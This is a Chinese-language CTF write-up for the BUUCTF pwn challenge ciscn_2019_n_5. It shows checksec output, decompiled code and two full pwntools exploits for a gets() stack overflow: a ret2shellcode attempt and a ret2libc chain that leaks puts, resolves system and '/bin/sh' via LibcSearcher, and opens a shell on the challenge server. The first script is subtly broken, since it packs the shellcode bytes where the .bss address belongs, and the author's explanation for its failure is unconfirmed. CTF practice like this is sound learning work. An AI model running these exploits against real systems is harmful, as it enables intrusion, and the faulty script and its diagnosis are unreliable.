buuctf_pwn_ciscn-2019-n-5_writeup

两种解法:

  • 预期解是 ret2shellcode, ubuntu18可以实现的(ubuntu24 bss 段可读可写不可不可执行)
  • 非预期解是 ret2libc

  • checksec
1
2
3
4
5
6
7
8
9
10
[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
  • IDA64
1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, name, 0x64uLL); // 写入BSS段 : .bss:0000000000601080
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text); // text 溢出 : 0x28
return 0;
}

预期解 ret2shellcode

Stack: No canary found 可能存在栈溢出
NX: NX unknown - GNU_STACK missing , bss 段可能可写

1
read(0, name, 0x64uLL);

.bss:0000000000601080 name db 64h dup(?) ; DATA XREF: main+35↑o

思路:

  • 第一次输入 name ,可以写入 shellcraft.sh()
  • 第二次 gets(text) 栈溢出,ret 到 name 写入的 bss 段, 执行 shellcode,get shell

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

pwnfile= './ciscn_2019_n_5'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x28
bss_addr = 0x601080
shellcode = asm(shellcraft.sh())

payload = b'a' * padding + p64(shellcode)

io.recvuntil('tell me your name\n')
io.sendline(shellcode)
io.recvuntil('What do you want to say to me?\n')
io.sendline(payload)

io.interactive()

但是发现本地和远程都打不通不知道为啥, vmmap 显示 BSS 段不可执行

  • vmmap
1
2
3
4
5
6
7
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r-xp 1000 0 /mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5
0x600000 0x601000 r--p 1000 0 /mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5
0x601000 0x602000 rw-p 1000 1000 /mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5
...

非预期解 ret2libc

思路:

  • 利用 gets 溢出,puts 输出 puts@got
  • 利用 puts@got 求基地址
  • 基地址求 binsh_addr 和 system_addr
  • 回到 main 再次溢出,get shell

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *

io = remote("node5.buuoj.cn",25621)
pwnfile= './ciscn_2019_n_5'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # 引入libc共享库文件

padding = 0x28
pop_rdi_ret_addr = 0x400713
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x400636
ret_addr = 0x4004c9
# bss_addr = 0x601080
# shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")

payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

io.recvuntil('tell me your name\n')
io.sendline('aaaa')
io.recvuntil('What do you want to say to me?\n')
io.sendline(payload)

puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr:",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
print('libc_base:',hex(libc_base))
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

payload2 = b'a' * padding + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)

io.recvuntil('tell me your name\n')
io.sendline('aaaa')
io.recvuntil('What do you want to say to me?\n')
io.sendline(payload2)

io.interactive()

补充

Python_LibcSearcher 基本用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 引入库
from LibcSearcher import *

# 根据求出来的write偏移地址 找 libc库
libc = LibcSearcher('write', write_addr)

# 更改
libc_base = write_addr - libc.dump('write')
print('libc_base:',hex(libc_base))

system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

Ret2Libc 注意 io.recv() 接收

  • i386
1
puts_addr = u32(io.recv(4))
  • amd64
1
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))